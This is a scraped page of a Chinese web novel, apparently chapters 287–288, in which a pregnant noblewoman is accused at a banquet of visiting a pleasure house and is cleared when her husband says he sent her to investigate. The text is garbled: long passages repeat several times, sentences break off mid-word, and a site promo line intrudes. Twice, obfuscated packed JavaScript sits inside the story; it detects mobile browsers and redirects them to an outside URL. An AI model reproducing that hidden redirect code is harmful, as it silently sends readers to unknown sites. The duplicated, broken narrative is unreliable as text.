饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140161|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 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恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 第287章 该被游街浸猪笼 “沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗? 说话的是宝华郡主,她这话一出口,方才还高高兴兴聊着天的众人立刻止了声,诧异地看向春喜。 这曹春喜出身低微、行事莽撞也就罢了,如今有了身孕怎么还不安分,竟然还去无忧阁找乐子? 沈清渊虽说娶过两任妻子,还比曹春喜大好几岁,清远侯府又早已破败,但再破败的侯府那也是侯府,而且沈清渊是有真才实学的,去年升入御史台,又在冬猎中大放异彩,如今正是御前的红人。 曹春喜能嫁给他那是祖坟冒烟、积了八辈子的福报。 好些人看看春喜的目光都带了愤怒,既觉得春喜不守妇道,不配与她们同席而坐,也觉得春喜出身低微却嫁了个好郎君,压了她们一头,如今春喜的真面目被揭穿,应该被休弃浸猪笼,如此她们也能出一口恶气。 在众人的注视之下,春喜并未惊慌失措,只是平静地看着宝华郡主:“臣妇与郡主并不相熟,郡主突然说我去无忧阁可有什么依据? 宝华郡主的父亲瑜王与先帝同辈,宝华郡主如今已有四十多岁。 宝华郡主也是招的赘婿,但成婚不过五年她的夫君就病逝了,二人并无子嗣,宝华郡主寡居至今,未再择婿。 宝华郡主对夫君的忠贞不渝在民间都是有传闻的,春喜自然也有所耳闻,但她只是远远见过宝华郡主两次,根本没有机会跟宝华郡主打交道,更想不到宝华郡主今日会突然当众对自己发难。 但正是因为春喜和宝华郡主往日无怨今日无仇,所以她突然跳出来指控春喜才让众人觉得非常可信。 在春喜提出疑问之后,宝华郡主坦言道:“无忧阁前不久又选了一轮魁首,是通过摘花比试遴选的,那日我也去了,正好看到了沈夫人,我不忍心沈大人一直被蒙在鼓里,所以才选择戳穿。 这话一出,抽气声四起。 一时不知是曹春喜怀着身孕还去无忧阁找乐子更惊世骇俗还是寡居多年的宝华郡主私下竟然玩得这么花更让人吃惊。 不过唯一可以肯定的是曹春喜肯定是去参加了这次无忧阁选魁首的。 毕竟宝华郡主没必要搭上自己的名声污蔑她。 沈清渊年前才在朝堂上参了自己一本,满朝皆知他极为爱重自己的夫人,曹春喜却不安安心心待在后宅养胎,反而去无忧阁找乐子。 曹春喜的良心是被狗吃了吗? 众人都在心里骂春喜是白眼狼,恒阳公主见情况 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 不对,正要站出来,春喜拉住了她:“公主别急。” “人家都把屎盆子扣你脑袋上了,你怎么还坐得住,”恒阳公主皱紧眉头,“那天是本公主非要带你去的,本公主一人做事一人当,绝不能让阿喜你平白受冤。” 恒阳公主非常讲义气,而且这些年背后议论她的多了去了,她才不在意这些呢。 恒阳公主说完便要开口,春喜眼疾手快地拿了一块糕点塞她嘴里:“公主还是先吃些东西吧,好戏还没开始呢。” 春喜话音刚落,大着肚子的沈清迟就红着眼走出来:“大嫂,大哥对你情深意重,不惜与家里**都要护着你,你怎么能做出这样的事呢?” 沈清迟比春喜早怀孕,如今已是要临盆的状态,她的肚子高高隆起,人却消瘦得很,眼窝凹陷下去,像是要被这个孩子吸干了,说不出的诡异。 这会儿她站出来控诉春喜,更显得春喜行事可恶了。 沈清渊之前娶了两任妻子在侯府都过得好好的,去年娶了春喜没多久,就跟侯府把家分了,虽说莫氏这个继娘的确待他不好,但如今想来,更多的是出于对春喜的维护。 沈清渊不舍得春喜受一丁点儿委屈,春喜却趁他不在家,跑到无忧阁找乐子,沈清渊别说休了她,便是把她拖出去游街浸猪笼都不为过! 众人越发愤怒,恒阳公主也愤怒地瞪大眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144006|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿喜这个小姑子也太没脑子了,她如果真心要维护沈清渊这个大哥,这个时候就该和阿喜站在一起维护阿喜的名声,而不是听到宝华郡主一番话就迫不及待地冲出来指责阿喜,坐实这件事。 这不是让她大哥也沦为笑柄吗,这对她有什么好处? 春喜并不愤怒,冷静地看着沈清迟:“妹妹不妨展开说说,我都做什么事了?” 春喜如此气定神闲,沈清迟气得咬唇:“大嫂怀着孕,不在家好好养胎,反而去了无忧阁,如今有宝华郡主作证,大嫂难道还要狡辩?” 春喜挑眉:“我只是让妹妹仔细说说我做了什么**人怨的事,这就算狡辩了吗?” 春喜从头到尾都没有否认自己去过无忧阁,更没有为自己开脱,的确算不上狡辩。 沈清迟说不过春喜,咬着牙恨恨道:“大嫂都去无忧阁了,做了什么自己心里清楚,那些事太脏,我怕说出来污了大家的耳朵。” “我确实不清楚自己做了什么,若是妹妹那日在场,还亲眼看到了我做的事,不如说出来帮我回忆回忆。” “我才不会去那种腌臜地方,”沈清迟气红了脸,大声怒道,“曹春喜,你不要信口雌黄,这些日子我都在太傅府安心养胎,太傅府上下都可以作证。” 春喜挑了下眉,拔高声音:“原来妹妹没去过无忧阁,什么都不知道啊,我还以为妹妹和郡主一样亲眼看到我了呢。” 春喜只是陈述事实,但这话怎么听怎么阴阳怪气。 宝华郡主这个人证都没说什么呢,哪里轮到沈清迟在这儿上蹿下跳? 沈清迟的脸红得更厉害了,她又羞又怒,尖声怒道:“不管怎么样,你去无忧阁那种地方就是不守妇道,你就该被抓去游街浸猪笼!” 春喜点点头:“都说天子犯法与庶民同罪,郡主也是女子,她也去了无忧阁,按照妹妹的说法,郡主也要被游街浸猪笼,是吗?” 沈清迟脸色微变,脱口而出:“曹春喜,你算什么东西,也配跟郡主相提并论?” 第288章 是本官让内子去的 “你唤我一声大嫂,你说我算什么东西?” 春喜毫不犹豫地反问,周身迸发出来的气势将沈清迟稳稳压制。 春喜的出身的确不好,娘家也无人撑腰,但她已经嫁给沈清渊,那就是沈清迟的长嫂。 旁的世家夫人都可以非议她,但沈清迟不行。 身为小姑子,她得敬着长嫂才行。 这些日子莹儿夜夜都跟李继贤在一起,云晚棠也不像之前那样经常关心沈清迟了,沈清迟备受冷落,恨毒了春喜。 今日宝华郡主不惜自毁名声也要当众指控春喜去无忧阁找乐子,沈清迟自然要帮着说话,坐实春喜不守妇道的罪名,好解心头之恨。 沈清迟不想被春喜的长嫂身份压着,恨声道:“你做出这等丑事,便不再是我的大嫂。” 沈清迟说得斩钉截铁,春喜叹了口气,幽幽开口。 “妹夫前些日子夜夜宿在花街柳巷,我听说以后,担心妹妹在婆家受委屈,当即通知家里人来给妹妹撑腰,如今我被人指控去无忧阁寻乐子,妹妹一句话都不为我辩解,更不曾确认缘由就帮着外人指责我,真是叫我寒心啊。” 春喜说着捶了捶胸口,看上去痛心不已。 不等沈清迟辩解,春喜又继续道:“我实在不明白,在侯府时,妹妹是唯一对我好的人,怎么妹妹嫁入太傅府后,不是撺掇歹人**谋害于我,就是帮着外人落井下石,要置我于死地?” 这话说得像是沈清迟在太傅府受了别人挑拨离间才会扭头来害春喜。 沈清迟心头一紧,急急反驳:“你少往自己脸上贴近,你出身低贱,根本配不上我大哥,从一开始我就不喜欢你。” “可妹夫贪图女色,绝非专情之人,二弟三弟又未曾考取功名,妹妹就算瞧不上我,也该明白自己唯一的依仗就是你大哥,我如今与你大哥荣辱一体,妹妹今日看似是在对我落井下石,实则是害你大哥,如此对妹妹也没有任何好处,妹妹为什么还要做这样的事呢?” 春喜眨眨眼,一脸的好奇无辜,沈清迟被问得有片刻心虚。 她今日确实出头,确实不仅仅是为了给自己出气。 她是为了五婶。 前几日,五叔的任命下来,她才知道自家大哥竟然在朝堂上屡次给五叔使绊子,险些害得五叔不能被任命为市舶使。 五叔在翁州做了多年州府,与家人聚少离多,臻哥儿和玥姐儿也不能在祖母膝下承欢,这次随使臣团回京,一直在极力促成昭陵和越西互通商贸这件事,若非大哥 从中作梗,使臣团离京之后,五叔就该被任命为市舶使才是。 如今五叔的任命虽然下来了,但处处都要受大哥监督,根本没办法展开手脚做事。 沈清迟知道这件事后,只觉得坐立难安。 她是未婚失身给李继贤的,本就被太傅府的人看不起,如今大哥又处处刁难五叔,便是她生下儿子,日后在太傅府的日子只怕也不好过。 因此今日她帮着宝华郡主说话,不仅是为了自己出一口恶气,更是为了讨五婶的欢心,并让太傅府的人都知道,她和大哥大嫂不是一起的,她的人和心都是向着太傅府的。 思及此,沈清迟迎上春喜的目光,大声道:“大嫂莫要强词夺理,你去无忧阁寻欢作乐,辜负了我大哥的一片真心,我不为大哥说话难道还要劝我大哥忍下此等**吗?” 春喜冷笑出声:“妹妹既然如此关心你大哥,不妨现在就去问问你大哥,那日他让我去参加无忧阁的花魁选拔究竟是为了做什么。” 众人:“……”??? 是她们刚刚耳朵出问题了吗? 曹春喜刚刚是理直气壮地说出沈清渊让她去无忧阁寻乐子这句话的吗? 这世上怎么会有男人愿意让自己的妻子出去寻乐子? 众人瞠目结舌,恒阳公主作为当事人,也被春喜的话惊到。 乖乖,难怪阿喜不让她说话,她就是想破脑袋也编不出这样的瞎话啊。 沈清迟并不像其他人这样觉得不可置信。 她在春喜手里吃过太多次亏了,春喜敢当众说出这样的话,不管怎么样,沈清渊都肯定会证实这件事是真的。 她原本以为今天曹春喜会被扣上**的骂名再也翻不了身,没想到她还没说几句话,就被春喜破了局。 是大哥让曹春喜去的无忧阁,那迫不及待对曹春喜落井下石的她岂不是又成了笑话,而且事后大家也会琢磨曹春喜刚刚说的话,万一把五叔五婶牵连进来怎么办? 沈清迟有点儿慌,肚子也跟着发紧,她正要装肚子疼离开这里,春喜抢先一步哎哟哎哟地叫起来。 恒阳公主第一时间护住春喜:“阿喜,你怎么了?” “公主,我的肚子好疼,可能是我肚子里的孩子听到姑母如此污蔑自己的娘生气了。” 公主立刻派人去请御医,又让人通知了沈清渊。 没一会儿,沈清渊沉着脸,带着一身冷煞来到女眷席。 御医细细地为春喜诊了脉,虽然感觉胎象很稳并无大碍,但在恒阳公主和沈清渊的注视之下,还是开了一副安胎药。 恒阳公主把前因后果大概说了一遍,沈清渊听完,冷声解释。 “内子前几日确实去参加了无忧阁的花魁选拔,但是本官让她去的,本官正在查一件事,无忧阁正好有线索,但本官不便前往,怕打草惊蛇,所以才让内子铤而走险,此事御史台的诸位同僚也都知道,大家若是不信,也可找御史台的大人求证。” 沈清渊已有妻奴的名声在外,他的话的确不够可信,但加上御史台诸位大人,众人就不得不信了。 毕竟御史台那群老匹夫可是连陛下的面子都不会给的,不可能帮着沈清渊撒谎。 众人都相信这是一场乌龙,宝华郡主也承认只是远远看到春喜一眼,并未看到春喜与无忧阁的小倌做什么不轨之事。 一场闹剧到此结束,大夫人赵氏出来打了圆场,宴席照常进行。 宴席结束后,宝华郡主第一时间离开,她没有回郡主府,而是去到城西一座不起眼的小宅院。 一进院,宝华郡主便迫不及待地开口:“我已按照你说的做了,香呢?” 从中作梗,使臣团离京之后,五叔就该被任命为市舶使才是。 如今五叔的任命虽然下来了,但处处都要受大哥监督,根本没办法展开手脚做事。 沈清迟知道这件事后,只觉得坐立难安。 她是未婚失身给李继贤的,本就被太傅府的人看不起,如今大哥又处处刁难五叔,便是她生下儿子,日后在太傅府的日子只怕也不好过。 因此今日她帮着宝华郡主说话,不仅是为了自己出一口恶气,更是为了讨五婶的欢心,并让太傅府的人都知道,她和大哥大嫂不是一起的,她的人和心都是向着太傅府的。 思及此,沈清迟迎上春喜的目光,大声道:“大嫂莫要强词夺理,你去无忧阁寻欢作乐,辜负了我大哥的一片真心,我不为大哥说话难道还要劝我大哥忍下此等**吗?” 春喜冷笑出声:“妹妹既然如此关心你大哥,不妨现在就去问问你大哥,那日他让我去参加无忧阁的花魁选拔究竟是为了做什么。” 众人:“……”??? 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是她们刚刚耳朵出问题了吗? 曹春喜刚刚是理直气壮地说出沈清渊让她去无忧阁寻乐子这句话的吗? 这世上怎么会有男人愿意让自己的妻子出去寻乐子? 众人瞠目结舌,恒阳公主作为当事人,也被春喜的话惊到。 乖乖,难怪阿喜不让她说话,她就是想破脑袋也编不出这样的瞎话啊。 沈清迟并不像其他人这样觉得不可置信。 她在春喜手里吃过太多次亏了,春喜敢当众说出这样的话,不管怎么样,沈清渊都肯定会证实这件事是真的。 她原本以为今天曹春喜会被扣上**的骂名再也翻不了身,没想到她还没说几句话,就被春喜破了局。 是大哥让曹春喜去的无忧阁,那迫不及待对曹春喜落井下石的她岂不是又成了笑话,而且事后大家也会琢磨曹春喜刚刚说的话,万一把五叔五婶牵连进来怎么办? 沈清迟有点儿慌,肚子也跟着发紧,她正要装肚子疼离开这里,春喜抢先一步哎哟哎哟地叫起来。 恒阳公主第一时间护住春喜:“阿喜,你怎么了?” “公主,我的肚子好疼,可能是我肚子里的孩子听到姑母如此污蔑自己的娘生气了。” 公主立刻派人去请御医,又让人通知了沈清渊。 没一会儿,沈清渊沉着脸,带着一身冷煞来到女眷席。 御医细细地为春喜诊了脉,虽然感觉胎象很稳并无大碍,但在恒阳公主和沈清渊的注视之下,还是开了一副安胎药。 恒阳公主把前因后果大概说了一遍,沈清渊听完,冷声解释。 “内子前几日确实去参加了无忧阁的花魁选拔,但是本官让她去的,本官正在查一件事,无忧阁正好有线索,但本官不便前往,怕打草惊蛇,所以才让内子铤而走险,此事御史台的诸位同僚也都知道,大家若是不信,也可找御史台的大人求证。” 沈清渊已有妻奴的名声在外,他的话的确不够可信,但加上御史台诸位大人,众人就不得不信了。 毕竟御史台那群老匹夫可是连陛下的面子都不会给的,不可能帮着沈清渊撒谎。 众人都相信这是一场乌龙,宝华郡主也承认只是远远看到春喜一眼,并未看到春喜与无忧阁的小倌做什么不轨之事。 一场闹剧到此结束,大夫人赵氏出来打了圆场,宴席照常进行。 宴席结束后,宝华郡主第一时间离开,她没有回郡主府,而是去到城西一座不起眼的小宅院。 